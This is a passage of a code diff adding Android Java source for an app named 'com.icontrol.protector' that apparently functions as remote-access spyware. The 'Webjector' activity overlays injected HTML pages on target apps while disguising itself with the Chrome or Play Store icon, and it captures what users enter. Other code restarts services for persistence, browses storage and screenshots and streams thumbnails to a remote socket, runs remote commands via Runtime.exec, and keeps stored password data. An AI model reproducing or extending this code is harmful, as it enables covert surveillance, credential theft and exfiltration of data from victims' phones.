String bs = Base64.encodeToString(Alldata.getBytes(), Base64.DEFAULT);
datastore.add(bs);
storeit =true;
}
if(storeit){
MySettings.WriteList(ctx,Consts.web_pass,datastore);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
});
}
private void Sendimg(Context ctx, String msg) {
if (websocketfile == null) {
Request request = new Request.Builder().url(URL_SOCKT()).build();
if (client == null){
return;
}
websocketfile = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onOpen(WebSocket webSocket, Response response) {
// Connection established, send the message
sendWebSocketMessage(ctx, msg);
}
@Override
public void onMessage(WebSocket webSocket, String text) {
// Handle server response if necessary
try{
JSONObject Response = new JSONObject(text);
String msgtype = Response.optString("type","empty");
if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){
websocketfile = null; // Set to null so it can be reconnected
client.dispatcher().executorService().shutdown();
MySettings.WriteBool(ctx,Consts.web_browser,false);
}
}catch (Exception a){}
}
@Override
public void onClosed(WebSocket webSocket, int code, String reason) {
websocketfile = null; // Set to null so it can be reconnected
client.dispatcher().executorService().shutdown();
}
@Override
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
t.printStackTrace();
websocketfile = null; // In case of failure, reset the WebSocket to null
}
});
} else {
// If WebSocket is already open, send the message directly
sendWebSocketMessage(ctx, msg);
}
}
private void sendWebSocketMessage(Context ctx, String msg) {
try {
String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid");
String IDF = MySettings.Read(ctx, Consts.THE_IDF, null);
if (Myid == null || IDF == null) {
websocketfile.close(1000, "Missing ID");
return;
}
String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null");
JSONObject message = new JSONObject();
// message.put("userId", userid);
message.put("idf", IDF);
message.put("pid", Myid);
message.put("itype", "Slr_client");
message.put("subc", "msg");
message.put("msg", msg);
message.put("cip", CIP);
String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY);
message.put("conk", conctkey);
websocketfile.send(message.toString());
} catch (Exception e) {
e.printStackTrace();
if (websocketfile != null) {
websocketfile.close(1000, "Error during message sending");
}
}
}
private boolean flaged =false;
public void closeWebSocket() {
try {
if (!flaged){
flaged=true;
AlertServer(getApplicationContext(),"Browser","Client Exit.");
}
}catch (Exception a){
a.printStackTrace();
}
if (websocketfile != null) {
websocketfile.close(1000, "Closing WebSocket");
websocketfile = null;
}
if (client != null) {
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
}
@Override
public void onDestroy() {
super.onDestroy();
MySettings.WriteBool(getApplicationContext(),Consts.web_browser,false);
closeWebSocket();
}
// public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) {
// return (paramInt == 3) ? true : ((paramInt == 4) ? true : ((paramInt == 82)));
// }
@Override
protected void onStop() {
super.onStop();
MySettings.WriteBool(getApplicationContext(),Consts.web_browser,false);
closeWebSocket();
}
private class MyWebChromeClient extends WebChromeClient {
private MyWebChromeClient() {
}
public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) {
return true;
}
}
private class MyWebViewClient extends WebViewClient {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
super.onPageStarted(view, url, favicon);
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// TODO Auto-generated method stub
if (request != null && request.getUrl() != null) {
String url = request.getUrl().toString();
if (!url.startsWith("http") && url.contains("://")) {
try {
URI uri = new URI(url);
String newUrl = uri.getHost() + uri.getPath();
view.loadUrl(newUrl);
return true; // URL handled
} catch (Exception e) {
e.printStackTrace();
}
}
}
return false;
}
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
}
@Override
public void onPageFinished(WebView view, String url) {
// TODO Auto-generated method stub
super.onPageFinished(view, url);
}
}
public class WebAppInterface {
Context mContext;
WebAppInterface(Context param1Context) {
this.mContext = param1Context;
}
}
}
@@ -0,0 +1,303 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.drawableToBitmap;
import static com.icontrol.protector.UtliTools.isPackageInstalled;
import android.app.Activity;
import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Bundle;
import android.util.Base64;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.ConsoleMessage;
import android.webkit.CookieManager;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import org.json.JSONObject;
import java.io.File;
import java.net.URI;
public class Webjector extends Activity {
WebView mWebView;
String current_id;
Context myctx;
AppDataManager manager;
@Override
public void onBackPressed() {
try {
if (mWebView != null && mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
} catch (NullPointerException s) {
super.onBackPressed();
}
}
@Override
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) {
return paramInt == KeyEvent.KEYCODE_HOME ||
paramInt == KeyEvent.KEYCODE_BACK ||
paramInt == KeyEvent.KEYCODE_MENU;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
myctx = getApplicationContext();
flaged=false;
manager = new AppDataManager(getApplicationContext());
Intent intent = getIntent();
//String value = "";
String CuzPackage = "";
try {
// value = intent.getStringExtra("key");
CuzPackage = intent.getStringExtra("cuzid");
current_id=CuzPackage;
} catch (Exception e) {
finish();
return;
}
try
{
if(intent.hasExtra("icon")){
String label = intent.getStringExtra("label");
setTitle(label);
byte[] iconByteArray = intent.getByteArrayExtra("icon");
Bitmap iconBitmap = BitmapFactory.decodeByteArray(iconByteArray, 0, iconByteArray.length);
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(label, iconBitmap);
setTaskDescription(taskDescription);
}else{
String packageName = "com.android.chrome";
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = "com.android.vending";
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = UtliTools.getRandomLauncherApp(getApplicationContext());
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = null;
}
}
}
if(packageName != null){
PackageManager packageManager = getPackageManager();
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
Drawable appIcon = packageManager.getApplicationIcon(applicationInfo);
String appName = packageManager.getApplicationLabel(applicationInfo).toString();
setTitle(appName);
Bitmap appIconBitmap = drawableToBitmap(appIcon);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", appIconBitmap);
setTaskDescription(taskDescription);
}
}
}
}catch (Exception a){}
try {
//WebView mWebView = new WebView((Context)this);
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new WebAppInterface(this), "Android");
mWebView.getSettings().setLoadsImagesAutomatically(true);
mWebView.getSettings().setLoadWithOverviewMode(true);
try{
CookieManager.getInstance().setAcceptCookie(true);
CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true);
}catch (Exception a){
}
mWebView.getSettings().setUseWideViewPort(true);
mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
mWebView.getSettings().setAllowFileAccess(true);
mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
mWebView.getSettings().setDomStorageEnabled(true);
mWebView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);
mWebView.getSettings().setAllowContentAccess(true);
try {
mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
mWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
mWebView.setBackgroundColor(0xffffffff);
} catch (Exception a) {
}
mWebView.getSettings().setBuiltInZoomControls(false);
String ua = mWebView.getSettings().getUserAgentString();
mWebView.getSettings().setUserAgentString(ua);
mWebView.setWebChromeClient(new Webjector.MyChrome());
mWebView.setWebViewClient(new Webjector.MyWebViewClient());
String htmlpath = UtliTools.findjectfile(getApplicationContext(),CuzPackage);
File htmlFile = new File(this.getFilesDir(), htmlpath);
if (htmlFile.exists()) {
mWebView.loadUrl("file://" + htmlFile.getAbsolutePath());
setContentView((View) mWebView);
}else{
finish();
}
} catch (Exception exception) {
}
}
public class MyChrome extends WebChromeClient {
MyChrome() {
}
@Override
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
String logmsg = consoleMessage.message();
try{
if(logmsg.startsWith("print event:")){
//current_id
AccessServices.skipject=current_id;
manager.addData(current_id, logmsg);
finish();
}
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("type", "blog");
// jsonObject.put("data", logmsg);
// String jsonData = jsonObject.toString();
//
// LiveChat.Livemessage(myctx,jsonData);
}catch (Exception a){}
return true;
}
}
public class WebAppInterface {
Context mContext;
WebAppInterface(Context c) {
mContext = c;
}
@JavascriptInterface
public void returnResult(String logmsg) {
// Handle the result from JavaScript (e.g., log or process JSON)
try{
// if(logmsg.startsWith("print event:")){
//current_id
AccessServices.skipject=current_id;
manager.addData(current_id, logmsg);
finish();
// }
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("type", "blog");
// jsonObject.put("data", logmsg);
// String jsonData = jsonObject.toString();
//
// LiveChat.Livemessage(myctx,jsonData);
}catch (Exception a){}
}
}
private boolean flaged =false;
@Override
public void onDestroy() {
super.onDestroy();
}
@Override
protected void onStop() {
super.onStop();
}
private class MyWebChromeClient extends WebChromeClient {
private MyWebChromeClient() {
}
public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) {
return true;
}
}
private class MyWebViewClient extends WebViewClient {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
super.onPageStarted(view, url, favicon);
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// TODO Auto-generated method stub
if (request != null && request.getUrl() != null) {
String url = request.getUrl().toString();
if (!url.startsWith("http") && url.contains("://")) {
try {
URI uri = new URI(url);
String newUrl = uri.getHost() + uri.getPath();
view.loadUrl(newUrl);
return true; // URL handled
} catch (Exception e) {
e.printStackTrace();
}
}
}
return false;
}
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
}
@Override
public void onPageFinished(WebView view, String url) {
// TODO Auto-generated method stub
super.onPageFinished(view, url);
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,52 @@
package com.icontrol.protector;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
public class alarme extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent != null) {
new Thread(() -> {
if (intent.getBooleanExtra("FROM_ALARM", false)) {
try {
Intent workint = new Intent(context, EngineWorker.class);
if (!MyCods.isServiceRunning(context, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(workint);
} else {
context.startService(workint);
}
}
if (!MyCods.isServiceRunning(context, WorkServices.class)) {
Intent workint2 = new Intent(context, WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(workint2);
} else {
context.startService(workint2);
}
} else {
try {
Intent hbint = new Intent(context, WorkServices.class);
hbint.putExtra("FROM_ALARM", true);
context.startService(hbint);
} catch (Exception s) {
}
}
} catch (Exception e) {
}
//return START_STICKY;
}
}).start();
}
}
}
@@ -0,0 +1,907 @@
package com.icontrol.protector;
import android.app.usage.StorageStatsManager;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.RectF;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.Executor;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import android.app.Fragment;
import android.os.StatFs;
import android.os.storage.StorageManager;
import android.util.Base64;
import androidx.core.content.FileProvider;
import org.json.JSONObject;
public class filesManager extends Fragment {
private static String mp = "ssolrssolr";
private static String SPL_DATA = Consts.SPLIT_DATA;
private static String SPL_ARRAY = Consts.SPLIT_ARAY;
private static String SPL_LINE = Consts.SPLIT_DATA;
// private static String OBJ = "<Object>";
private static Executor myExcuter = null;
private static int max = 1000;
public String[] Load(Context ctx, String s) {
String[] f = new String[2];
String currentpath = "null";
String StorageSize = "";
if (myExcuter == null) {
myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1,
TimeUnit.MINUTES, new ArrayBlockingQueue<Runnable>(max));
}
try {
StringBuffer sb = new StringBuffer();
String p = s;
if (p.equals("get0")) {
p = Environment.getExternalStorageDirectory().getPath();
StorageSize = getStorageInfo(ctx);
} else if (p.equals("get1")) {
p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString();
} else if (p.equals("get2")) {
p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES).toString();
} else if (p.equals("get3")) {
p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM).toString();
} else if (p.equals("get4")) {
p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_MOVIES).toString();
} else if (p.equals("get5")) {
File screenshotsDir = findScreenshotsDirectory(Environment.getExternalStorageDirectory(), Environment.DIRECTORY_PICTURES, "Screenshots");
if (screenshotsDir == null) {
screenshotsDir = findScreenshotsDirectory(Environment.getExternalStorageDirectory(), Environment.DIRECTORY_DCIM, "Screenshots");
}
if (screenshotsDir != null) {
p = screenshotsDir.getAbsolutePath() + File.separator;
// Use 'p' as needed
} else {
// Handle the case where Screenshots directory is not found
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_SCREENSHOTS).toString();
} else {
//TODO: send alert no screenshots dir found
return new String[]{null, null};
}
}
} else if (p.equals("get6")){
}
File pl = new File(p);
if (pl.isDirectory()) {
String gp = pl.getPath();
currentpath = gp;
File[] lst = pl.listFiles();
if (lst != null && lst.length > 0) {
for (int i = 0; i < lst.length; i++) {
try {
String name = lst[i].getName();
long size = lst[i].length();
String date = "n/a";
String LastModified;
try {
File file = new File(lst[i].getPath());
SimpleDateFormat sdf = new SimpleDateFormat("MM/dd/yyyy EEE", Locale.ENGLISH);
date = new SimpleDateFormat("MM/dd/yyyy EEE", Locale.ENGLISH).format(new Date());
LastModified = sdf.format(file.lastModified());
} catch (Exception e) {
LastModified = "n/a";
}
String exe = "n/a";
String cou = "n/a";
if (lst[i].isDirectory()) {
File[] is_null = lst[i].listFiles();
if (is_null == null){
cou = "0";
}else{
cou = String.valueOf(is_null.length);
}
exe = "0";
} else if (lst[i].isFile()) {
exe = "1";
}
sb.append("1" + SPL_ARRAY + exe + SPL_ARRAY + name + SPL_ARRAY + String.valueOf(size) + SPL_ARRAY + gp + SPL_ARRAY + LastModified + SPL_ARRAY + date + SPL_ARRAY + cou + StorageSize + SPL_LINE);
} catch (Exception e) {
}
}
} else {
sb.append("-1" + SPL_ARRAY + gp + SPL_LINE);
}
}
f[0] = sb.toString();
f[1] = currentpath;
return f;
} catch (Exception e) {
f[0] = "-1" + SPL_ARRAY + currentpath + SPL_LINE;
f[1] = currentpath;
}
return f;
}
private String getStorageInfo(Context ctx) {
// Internal Storage
double totalStorageSizeInGB = getTotalStorageSize(ctx);
long totalStorageSizeInBytes = (long) (totalStorageSizeInGB * Math.pow(1024, 3));
StatFs internalStatFs = new StatFs(android.os.Environment.getExternalStorageDirectory().getPath());
long internalFree = internalStatFs.getAvailableBlocksLong() * internalStatFs.getBlockSizeLong();
long internalUsed = totalStorageSizeInBytes - internalFree;
//formatSize(internalFree)
String resu = SPL_ARRAY + totalStorageSizeInGB +SPL_ARRAY+ formatSize(internalUsed);
return resu;
}
private String formatSize(long size) {
String suffix = null;
float sizeInFloat = size;
if (size >= 1024) {
suffix = "KB";
sizeInFloat /= 1024;
if (sizeInFloat >= 1024) {
suffix = "MB";
sizeInFloat /= 1024;
if (sizeInFloat >= 1024) {
suffix = "GB";
sizeInFloat /= 1024;
}
}
}
return String.format("%.2f", sizeInFloat) + " " + suffix;
}
public static double getTotalStorageSize(Context context) {
StorageManager storageManager = (StorageManager) context.getSystemService(Context.STORAGE_SERVICE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
try {
StorageStatsManager storageStatsManager = (StorageStatsManager) context.getSystemService(Context.STORAGE_STATS_SERVICE);
java.util.UUID uuid = storageManager.getUuidForPath(Environment.getDataDirectory());
long totalBytes = storageStatsManager.getTotalBytes(uuid);
SizeRepresentation sizeRepresentation = getStorageSizeRepresentation(totalBytes);
double base = (double) sizeRepresentation.getBase();
return totalBytes / (base * base * base);
} catch (IOException e) {
return 0.0;
}
} else {
// Implementation for devices running lower versions
throw new UnsupportedOperationException("This feature is not supported on devices running lower versions of Android.");
}
}
/**
* Determines if the data size is in Binary or in Decimal.
*/
public static SizeRepresentation getStorageSizeRepresentation(long storageSizeInBytes) {
double logValue = log(storageSizeInBytes / Math.pow(1024.0, 3), 2.0);
return logValue % 1.0 == 0.0 ? SizeRepresentation.BINARY : SizeRepresentation.DECIMAL;
}
private static double log(double x, double base) {
return Math.log(x) / Math.log(base);
}
public enum SizeRepresentation {
BINARY(1024), DECIMAL(1000);
private final int base;
SizeRepresentation(int base) {
this.base = base;
}
public int getBase() {
return base;
}
}
private File findScreenshotsDirectory(File baseDir, String subDir, String dirName) {
File directory = new File(baseDir, subDir + File.separator + dirName);
if (directory.exists() && directory.isDirectory()) {
return directory;
}
return null;
}
public static void FolderDelete(final String commend) {
try {
String encoded = new String(commend.getBytes("utf-8"));
String[] cmd = encoded.split(" ");
String space = "(U+0020)".toLowerCase();
for (int i = 0; i < cmd.length; i++) {
if (cmd[i].contains(space)) {
cmd[i] = cmd[i].replace(space, " ");
}
}
Runtime runtime = Runtime.getRuntime();
runtime.exec(cmd);
} catch (Exception e) {
}
}
public static Uri uriFromFile(Context context, File file) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
return FileProvider.getUriForFile(context, context.getPackageName() + ".provider", file);
} else {
return Uri.fromFile(file);
}
}
public String openPath(Context context, String path) {
try {
File file = new File(path);
if (!file.exists()) {
return "The path does not exist.";
}
if (file.isDirectory()) {
// Open folder using ACTION_OPEN_DOCUMENT_TREE
Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.addFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
return path + " folder opened.";
} else {
// Open file using ACTION_VIEW
Uri uri = uriFromFile(context, file);
String mime = context.getContentResolver().getType(uri);
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.setDataAndType(uri, mime);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
return path + " file opened.";
}
} catch (Exception e) {
return "Can't open path, error: " + e.getMessage();
}
}
//todo modifi this method to send to php
private static final String cryptkey = "icontrol";
public boolean createf(String path, boolean isFolder) {
File target = new File(path);
if (target.exists()) {
return true; // Path already exists
}
if (isFolder) {
// Create as a directory
return target.mkdirs();
} else {
// Create as a file
File parentDir = target.getParentFile();
if (parentDir != null && !parentDir.exists()) {
if (!parentDir.mkdirs()) {
return false; // Failed to create parent directories
}
}
try {
return target.createNewFile();
} catch (IOException e) {
e.printStackTrace();
return false; // Failed to create the file
}
}
}
public void Upload(final String path, final String Size, final String FileName, final String FileFullpath) {
// if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max){
// return;
// }
// myExcuter.execute(new Runnable() {
// public void run() {
// Socket sk = null;
// OutputStream out = null;
// DataInputStream in = null;
// FileOutputStream FS = null ;
// boolean ctd = false;
// Object Syn_x1 = new Object();
// Object Syn_x2 = new Object();
// int test = 0;
// do {
// if (test >= 3){
// return;
// }
// try {
// InetAddress ip;
// ip = InetAddress.getByName(MySocket.IP);
// InetSocketAddress sock = new InetSocketAddress(ip, Integer.valueOf(MySocket.PORT));
// sk = new Socket();
// sk.setSoTimeout(120000);
// sk.setKeepAlive(true);
// sk.connect(sock, 59999);
// ctd = sk.isConnected();
// if (ctd == true) {
// sk.setSendBufferSize(1024);
// sk.setReceiveBufferSize(1024);
// out = sk.getOutputStream();
// synchronized (Syn_x1){
// if(out != null){
// String info = path + SPL_ARRAY + Size + SPL_ARRAY + FileName + SPL_ARRAY + FileFullpath;
// byte[] b0 = CreatePacket(id_Commands.Uploader,info.getBytes());
// sk.setSendBufferSize(b0.length);
// out = sk.getOutputStream();
// in = new DataInputStream(new BufferedInputStream(sk.getInputStream()));
// out.write(b0,0,b0.length);
// }
// }
// break;
// }
// } catch (UnknownHostException e) {
// EndSocket(sk,out,in);
// } catch (SocketException e) {
// EndSocket(sk,out,in);
// } catch (Exception e) {
// EndSocket(sk,out,in);
// }
// test++;
// try{ Thread.sleep(1);} catch (InterruptedException e) {}
// } while (ctd == false);
//
// int read;
// int siz0 = 0;
// int siz1 = Integer.valueOf(Size);
// try{
// byte[] buff = new byte[8096];
// File f = new File(path);
// FS = new FileOutputStream(f);
// sk.setReceiveBufferSize(buff.length);
// while ((read = in.read(buff)) > 0)
// {
// synchronized (Syn_x2){
// FS.write(buff, 0, read);
// siz0+=read;
// if (siz0 >= siz1){
// break;
// }
// }
// }
// }catch (SocketException e) {
// }catch (SocketTimeoutException s) {
// }catch(OutOfMemoryError e){
// }catch (Exception e) {}
// try {
// if(FS != null){
// FS.close();
// }
// } catch (IOException e) {}
// try{ Thread.sleep(9000L);} catch (InterruptedException e) {}
// EndSocket(sk,out,in);
// }});
}
// public void DownManager(Context myctx,final String path) {
// if (myExcuter == null) {
// myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1,
// TimeUnit.MINUTES, new ArrayBlockingQueue<Runnable>(max));
// }
// if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max) {
// return;
// }
// myExcuter.execute(new Runnable() {
// public void run() {
// try {
// Uri ur = Uri.parse((path).trim());
// File file = new File(ur.getPath());
// if (file.exists()) {
//
// sendFileToServer(myctx,"save",file);
// }
//
// } catch (Exception e) {
// } catch (OutOfMemoryError e) {
// }
// try {
// Thread.sleep(1000);
// } catch (InterruptedException e) {
// }
//
// }
// });
// }
public void ViewFile(final String path, final String status,final String playit,final String sokidf, final Context ctx) {
if (myExcuter == null) {
myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1,
TimeUnit.MINUTES, new ArrayBlockingQueue<Runnable>(max));
}
if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max) {
return;
}
myExcuter.execute(new Runnable() {
public void run() {
//
try {
int Qul = 10;
Uri ur = Uri.parse((path).trim());
File file = new File(ur.getPath());
if (file.exists() && file.length() > 0) {
if (status.equals("true")) {
LiveChat.instance(ctx).Playvideostrem(ctx,path,playit,sokidf);
} else {
Drawable photo = null;
Bitmap bmp = BitmapFactory.decodeFile(file.getPath());
photo = new BitmapDrawable(Resources.getSystem(), bmp);
if (photo != null) {
BitmapDrawable BD = (BitmapDrawable) photo;
Bitmap bitmap = scaleToFit(BD.getBitmap(), 300 ,300 );
ByteArrayOutputStream BOS = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.JPEG, Qul, BOS);
byte[] imageBytes = BOS.toByteArray();
String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "thumb");
jsonObject.put("img", base64Image);
jsonObject.put("pth", path);
String jsonData = jsonObject.toString();
LiveChat.instance(ctx).SendNewSocket(ctx,sokidf ,jsonData);
}catch (Exception a){
}
}
}
}
} catch (OutOfMemoryError e) {
} catch (Exception e) {
}
}
});
}
public static String calculateMD5(String filePath) {
try {
MessageDigest digest = MessageDigest.getInstance("MD5");
FileInputStream fis = new FileInputStream(filePath);
byte[] buffer = new byte[8192];
int read;
while ((read = fis.read(buffer)) > 0) {
digest.update(buffer, 0, read);
}
fis.close();
byte[] md5sum = digest.digest();
StringBuilder hexString = new StringBuilder();
for (byte b : md5sum) {
hexString.append(String.format("%02x", b));
}
return hexString.toString();
} catch (NoSuchAlgorithmException | IOException e) {
e.printStackTrace();
return null; // Handle the exception according to your needs
}
}
// private void sendFileToServer(Context myctx, String command, File file) {
// String phpUrl = Consts.URL_CASH();
// String boundary = "*****"; // Define a boundary for the multipart request
//
// try {
// URL url = new URL(phpUrl);
// HttpURLConnection connection = (HttpURLConnection) url.openConnection();
//
// // Set request method to POST
// connection.setRequestMethod("POST");
// connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
// connection.setDoOutput(true);
//
// String IDF = MySettings.Read(myctx,Consts.THE_IDF,"empty");
//
// MyLoger.Debug("hash:",calculateMD5(file.getAbsolutePath()));
// My_Crpter cr = My_Crpter.Getinstance();
// try (DataOutputStream os = new DataOutputStream(connection.getOutputStream())) {
// // Write command and email as fields in the multipart request
//
//
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"command\"\r\n\r\n");
// os.writeBytes(command + "\r\n");
//
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"email\"\r\n\r\n");
// os.writeBytes(cr.Dcrpt_Str(My_Configs.USR_MAIL) + "\r\n");
//
// //MySettings.Read(myctx, Consts.Device_ID,"Deviceid")
//
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"phoneid\"\r\n\r\n");
// os.writeBytes(MySettings.Read(myctx, Consts.DEVICE_ID,"null") + "\r\n");
//
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"fileverfy\"\r\n\r\n");
// os.writeBytes(calculateMD5(file.getAbsolutePath()) + "\r\n");
//
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"myidf\"\r\n\r\n");
// os.writeBytes(IDF + "\r\n");
//
// // Add the file to the request
// os.writeBytes("--" + boundary + "\r\n");
// os.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + file.getName() + "\"\r\n");
// os.writeBytes("Content-Type: application/octet-stream\r\n\r\n");
//
// FileInputStream fis = new FileInputStream(file);
// long size = file.length();
// int BufferSize ;
// BufferSize = (int) buff(size);
// byte[] buffer = new byte[BufferSize];
// int bytesRead;
// while ((bytesRead = fis.read(buffer)) != -1) {
// os.write(buffer, 0, bytesRead);
// }
// fis.close();
//
// os.writeBytes("\r\n");
// os.writeBytes("--" + boundary + "--\r\n");
// }
//
// // Read the response from the server
// InputStream in = connection.getInputStream();
// InputStreamReader inputStreamReader = new InputStreamReader(in);
// BufferedReader reader = new BufferedReader(inputStreamReader);
// StringBuilder response = new StringBuilder();
// String line;
// while ((line = reader.readLine()) != null) {
// response.append(line);
// }
// reader.close();
//
// String serverResponse = response.toString();
// MyLoger.Info("filetoserver: ",serverResponse);
// connection.disconnect();
// } catch (Exception e) {
// e.printStackTrace();
// }
// }
public static void FileDelete(final String path) {
try {
File file = new File(path);
if (file.exists()) {
file.delete();
}
} catch (Exception e) {
}
}
public static void rename(final String OldPath, final String NewPath) {
try {
File F1 = new File(OldPath);
if (F1.exists()) {
File F2 = new File(NewPath);
F1.renameTo(F2);
}
} catch (Exception e) {
}
}
private Bitmap scaleCenterCrop(Bitmap source, int newHeight, int newWidth) {
float f2 = (float) newWidth;
float width = (float) source.getWidth();
float f3 = (float) newHeight;
float height = (float) source.getHeight();
float max = Math.max(f2 / width, f3 / height);
float f4 = width * max;
float f5 = max * height;
float f6 = (f2 - f4) / 2.0f;
float f7 = (f3 - f5) / 2.0f;
RectF rectF = new RectF(f6, f7, f4 + f6, f5 + f7);
Bitmap createBitmap = Bitmap.createBitmap(newWidth, newHeight, source.getConfig());
new Canvas(createBitmap).drawBitmap(source, null, rectF, null);
return createBitmap;
}
private Bitmap scaleToFit(Bitmap source, int newHeight, int newWidth) {
float srcWidth = source.getWidth();
float srcHeight = source.getHeight();
// Calculate the scale factor to fit the image inside the given width and height
float scaleX = (float) newWidth / srcWidth;
float scaleY = (float) newHeight / srcHeight;
float scale = Math.min(scaleX, scaleY);
// Calculate the final scaled width and height
